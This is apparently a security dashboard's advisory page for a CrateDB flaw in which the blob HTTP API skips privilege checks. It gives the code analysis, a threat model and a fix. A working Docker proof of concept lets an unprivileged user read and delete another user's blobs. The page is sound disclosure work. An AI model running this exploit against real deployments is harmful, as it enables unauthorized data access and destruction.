Kestrel
대시보드로 돌아가기
CVE-2026-49989LOWGHSA대응게시일: 2026. 07. 01.수정일: 2026. 07. 01.

CrateDB's Blob HTTP handler bypasses authorization

위협 신호 · CVSS · EPSS · KEV

정기 패치· 높은 악용 신호 없음
CVSS
low

이론적 심각도 점수

EPSS

예측 데이터 없음

KEV
미등재

실측 악용 기록 없음

권장 대응 기한14일 이내CISA SSVC 기준

2주 이내 패치 — 우선 조치 대상

자동화 가능외부 노출· KEV 미등재 · 자동화 가능 · 부분 영향 · 외부 노출

CVSS 벡터 · 메트릭

악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한불필요
사용자 상호작용불필요
범위불변
영향
기밀성 영향없음
무결성 영향없음
가용성 영향없음
버전별 점수
CVSS 3.10.0LOW
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

상세 설명

Component: io.crate.protocols.http.HttpBlobHandler
Affected: verified against CrateDB 6.2.7 (latest at time of report; the bug has existed since the blob HTTP handler was introduced)
Impact: any authenticated user can read or delete any blob whose SHA-1 digest they know, and can plant new blobs unconditionally, in any blob table, regardless of GRANTs.


Summary

CrateDB has two ways to access blob storage: SQL (SELECT ... FROM blob.<table> and friends) and the blob HTTP API (GET|PUT|DELETE /_blobs/{table}/{digest}). The SQL path goes through AccessControl, which is what enforces privilege grants; that's why SELECT digest FROM blob.secret_blobs fails for a user who has no grants on the table.

The HTTP path authenticates the request but never asks AccessControl whether the authenticated user is allowed to touch the table. So a user with no grants gets MissingPrivilegeException from SQL and 200 OK plus the blob bytes from GET /_blobs/secret_blobs/<digest>.

Where it lives

server/src/main/java/io/crate/protocols/http/HttpBlobHandler.java. The dispatcher:

text
1// HttpBlobHandler.java:176
2private void handleBlobRequest(@Nullable HttpContent content) throws IOException {
3 if (possibleRedirect(index, digest)) {
4 return;
5 }
6
7 if (method.equals(HttpMethod.GET)) {
8 get(index, digest);
9 reset();
10 } else if (method.equals(HttpMethod.HEAD)) {
11 head(index, digest);
12 } else if (method.equals(HttpMethod.PUT)) {
13 put(content, index, digest);
14 } else if (method.equals(HttpMethod.DELETE)) {
15 delete(index, digest);
16 } else {
17 simpleResponse(HttpResponseStatus.METHOD_NOT_ALLOWED);
18 }
19}

No AccessControl reference, no privilege check. Each branch goes straight to the relevant blob op (get/head/put/delete); for example:

text
1// HttpBlobHandler.java:287
2private void get(String index, final String digest) throws IOException {
3 if (range != null) {
4 partialContentResponse(index, digest);
5 } else {
6 fullContentResponse(index, digest);
7 }
8}

grep -n 'AccessControl\|ensureMaySee\|checkPermission' HttpBlobHandler.java returns nothing.

The APIs that should be called here, used by the SQL path before every statement is dispatched:

  • server/src/main/java/io/crate/auth/AccessControl.java (interface, declares ensureMayExecute(...) and ensureMaySee(...))
  • server/src/main/java/io/crate/auth/AccessControlImpl.java:133 (concrete impl)

Threat model

Unconditional in code, gated in practice by digest knowledge; CrateDB has no enumeration channel. HEAD /_blobs/<table>/<digest> is the existence oracle; candidate digests may come from side channels such as app metadata, logs, known-file probes.

CapabilityNeeds digest?Impact
Read or delete a blobyesHigh when digests leak, nil otherwise
Plant new blobs (PUT)noStorage pollution; SHA-1 check blocks forging under a victim's digest

Digest secrecy is not a documented security boundary.

Reproduction

End-to-end Docker PoC. Two users, one blob, both ingress paths exercised side by side.

./run.sh brings up a CrateDB container with HBA enabled, creates an admin (with ALL PRIVILEGES) and an unprivileged user (with no grants), uploads a blob as admin, then runs six steps:

  1. Admin uploads a blob via PUT /_blobs/.... Success (201).
  2. Admin reads via SQL. Success.
  3. Unprivileged user reads via SQL. Denied (correct, this is what we want).
  4. Unprivileged user reads via GET /_blobs/.... 200 OK plus the blob payload (the bug).
  5. Unprivileged user deletes via DELETE /_blobs/.... 204 No Content (the bug, again).
  6. Admin re-checks via SQL. Confirms the blob is gone, deleted by a user with zero grants.

Sample output from a real run:

text
1=== Step 3: Unprivileged user CANNOT read via SQL (expected) ===
2[PASS] Unprivileged user correctly denied SQL access
3[INFO] Server response: ERROR: Schema 'blob' unknown ...
4
5=== Step 4: BUG -- Unprivileged user CAN read blob via HTTP ===
6[FAIL] Unprivileged user READ the blob via HTTP (HTTP 200) -- AUTHORIZATION BYPASS
7[INFO] Retrieved content: TOP SECRET: this data should only be accessible to admin
8
9=== Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE ===
10[FAIL] Unprivileged user DELETED the blob via HTTP (HTTP 204) -- AUTHORIZATION BYPASS

PoC files

<details> <summary><code>docker-compose.yml</code></summary>
text
1services:
2 cratedb:
3 image: crate:6.2.7
4 ports:
5 - "4200:4200"
6 - "5432:5432"
7 command: >
8 crate
9 -Cnetwork.host=0.0.0.0
10 -Cdiscovery.type=single-node
11 -Cauth.host_based.enabled=true
12 -Cauth.host_based.config.0.user=crate
13 -Cauth.host_based.config.0.method=trust
14 -Cauth.host_based.config.99.method=password
15 -Cblobs.path=/data/blobs
16 environment:
17 - CRATE_HEAP_SIZE=512m
18 healthcheck:
19 test: ["CMD-SHELL", "curl -sf http://localhost:4200/ || exit 1"]
20 interval: 5s
21 timeout: 5s
22 retries: 12

HBA rule 0 trusts the built-in crate superuser so setup.sql can bootstrap users; rule 99 forces password auth for everyone else. network.host=0.0.0.0 overrides the default _site_ bind, which fails when Docker's interfaces have no site-local address.

</details> <details> <summary><code>setup.sql</code></summary>
text
1-- Create the blob table
2CREATE BLOB TABLE secret_blobs;
3
4-- Create admin user with full access
5CREATE USER admin WITH (password = 'adminpass');
6GRANT ALL PRIVILEGES ON TABLE blob.secret_blobs TO admin;
7
8-- Create unprivileged user with NO access to the blob table
9CREATE USER unprivileged WITH (password = 'unpriv123');
10-- Intentionally no GRANT for unprivileged user
</details> <details> <summary><code>exploit.sh</code></summary>
sql
1#!/usr/bin/env bash
2set -euo pipefail
3
4CRATE_HTTP="http://localhost:4200"
5BLOB_TABLE="secret_blobs"
6BLOB_CONTENT="TOP SECRET: this data should only be accessible to admin"
7
8RED='\033[0;31m'
9GREEN='\033[0;32m'
10YELLOW='\033[1;33m'
11CYAN='\033[0;36m'
12NC='\033[0m'
13
14header() { printf "\n${CYAN}=== %s ===${NC}\n" "$1"; }
15pass() { printf "${GREEN}[PASS]${NC} %s\n" "$1"; }
16fail() { printf "${RED}[FAIL]${NC} %s\n" "$1"; }
17info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
18
19sql_as() {
20 local user="$1" pass="$2" query="$3"
21 PGPASSWORD="$pass" psql -h localhost -p 5432 -U "$user" -d doc -tAc "$query" 2>&1
22}
23
24# ---------------------------------------------------------------------------
25header "Step 1: Upload a blob as admin via HTTP"
26# ---------------------------------------------------------------------------
27DIGEST=$(echo -n "$BLOB_CONTENT" | sha1sum | awk '{print $1}')
28info "Blob SHA1 digest: $DIGEST"
29
30HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
31 -u admin:adminpass \
32 -XPUT "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}" \
33 -d "$BLOB_CONTENT")
34
35if [[ "$HTTP_CODE" == "201" || "$HTTP_CODE" == "409" ]]; then
36 pass "Admin uploaded blob via HTTP (HTTP $HTTP_CODE)"
37else
38 fail "Admin blob upload returned HTTP $HTTP_CODE"
39 exit 1
40fi
41
42# ---------------------------------------------------------------------------
43header "Step 2: Admin CAN read blob metadata via SQL (expected)"
44# ---------------------------------------------------------------------------
45RESULT=$(sql_as admin adminpass "SELECT digest FROM blob.secret_blobs LIMIT 1")
46if [[ -n "$RESULT" ]]; then
47 pass "Admin can query blob.secret_blobs via SQL: digest=$RESULT"
48else
49 fail "Admin SQL query returned no results"
50fi
51
52# ---------------------------------------------------------------------------
53header "Step 3: Unprivileged user CANNOT read via SQL (expected)"
54# ---------------------------------------------------------------------------
55RESULT=$(sql_as unprivileged unpriv123 "SELECT digest FROM blob.secret_blobs LIMIT 1" || true)
56if echo "$RESULT" | grep -qi "denied\|permission\|unauthorized\|not authorized"; then
57 pass "Unprivileged user correctly denied SQL access"
58 info "Server response: $(echo "$RESULT" | head -1)"
59else
60 fail "Unprivileged user was NOT denied SQL access (unexpected): $RESULT"
61fi
62
63# ---------------------------------------------------------------------------
64header "Step 4: BUG -- Unprivileged user CAN read blob via HTTP"
65# ---------------------------------------------------------------------------
66HTTP_CODE=$(curl -s -o /tmp/blob_out -w "%{http_code}" \
67 -u unprivileged:unpriv123 \
68 "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
69
70BODY=$(cat /tmp/blob_out)
71
72if [[ "$HTTP_CODE" == "200" ]]; then
73 fail "Unprivileged user READ the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
74 info "Retrieved content: ${BODY}"
75else
76 pass "Unprivileged user was denied HTTP blob read (HTTP $HTTP_CODE)"
77fi
78
79# ---------------------------------------------------------------------------
80header "Step 5: BUG -- Unprivileged user CAN delete blob via HTTP DELETE"
81# ---------------------------------------------------------------------------
82HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" \
83 -u unprivileged:unpriv123 \
84 -XDELETE "${CRATE_HTTP}/_blobs/${BLOB_TABLE}/${DIGEST}")
85
86if [[ "$HTTP_CODE" == "204" || "$HTTP_CODE" == "200" ]]; then
87 fail "Unprivileged user DELETED the blob via HTTP (HTTP $HTTP_CODE) -- AUTHORIZATION BYPASS"
88else
89 pass "Unprivileged user was denied HTTP blob delete (HTTP $HTTP_CODE)"
90fi
91
92# ---------------------------------------------------------------------------
93header "Step 6: Confirm blob is gone (admin perspective)"
94# ---------------------------------------------------------------------------
95RESULT=$(sql_as admin adminpass "SELECT count(*) FROM blob.secret_blobs WHERE digest = '$DIGEST'")
96if [[ "$RESULT" == "0" ]]; then
97 fail "Blob confirmed deleted -- unprivileged user destroyed admin's data"
98else
99 info "Blob still exists (count=$RESULT)"
100fi
</details> <details> <summary><code>run.sh</code></summary>
bash
1#!/usr/bin/env bash
2set -euo pipefail
3cd "$(dirname "$0")"
4
5RED='\033[0;31m'
6GREEN='\033[0;32m'
7YELLOW='\033[1;33m'
8NC='\033[0m'
9
10info() { printf "${YELLOW}[INFO]${NC} %s\n" "$1"; }
11
12# Pick whichever Compose CLI is available (docker compose v2 vs legacy
13# docker-compose binary). Both are common in the wild.
14if docker compose version >/dev/null 2>&1; then
15 DC=(docker compose)
16elif command -v docker-compose >/dev/null 2>&1; then
17 DC=(docker-compose)
18else
19 echo "ERROR: neither 'docker compose' (v2) nor 'docker-compose' (v1) is installed." >&2
20 exit 2
21fi
22
23cleanup() {
24 info "Stopping containers..."
25 "${DC[@]}" down -v 2>/dev/null || true
26}
27trap cleanup EXIT
28
29info "Starting CrateDB with authentication enabled..."
30"${DC[@]}" up -d
31
32info "Waiting for CrateDB to become healthy..."
33for i in $(seq 1 60); do
34 if curl -sf http://localhost:4200/ > /dev/null 2>&1; then
35 break
36 fi
37 sleep 1
38done
39
40# Verify CrateDB is actually ready for SQL connections
41for i in $(seq 1 30); do
42 if PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -c "SELECT 1" > /dev/null 2>&1; then
43 break
44 fi
45 sleep 1
46done
47
48info "Running setup SQL as superuser (crate)..."
49PGPASSWORD="" psql -h localhost -p 5432 -U crate -d doc -f setup.sql
50
51# Give CrateDB a moment to propagate user/privilege changes
52sleep 2
53
54info "Running exploit..."
55echo ""
56bash exploit.sh
</details>

Fixing

Plumb AccessControl into HttpBlobHandler. Before dispatching the verb at handleBlobRequest:181, resolve the connecting role from the channel attribute the auth filter already sets, build an AccessControlImpl, and call ensureHasPrivilege(...) for the verb. Failures produce MissingPrivilegeException, which the existing exception-to-HTTP mapping turns into 403 Forbidden. SQL and HTTP then share one authorization decision.

HTTP verbSQL equivalentRequired privilege on blob.<table>
GET / HEADSELECTDQL
PUTINSERT / UPDATEDML
DELETEDELETEDML

Alternatives I'd avoid: pushing checks down into BlobService (every caller has to remember to pass a role) or wrapping the handler in a separate Netty filter (works but separates the check from the action it gates).

Notes

Deployments that don't use BLOB TABLE are unaffected. Authentication itself still works; the bug is strictly that being authenticated as anyone is treated as sufficient for any blob op.

AI 심층 분석

공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.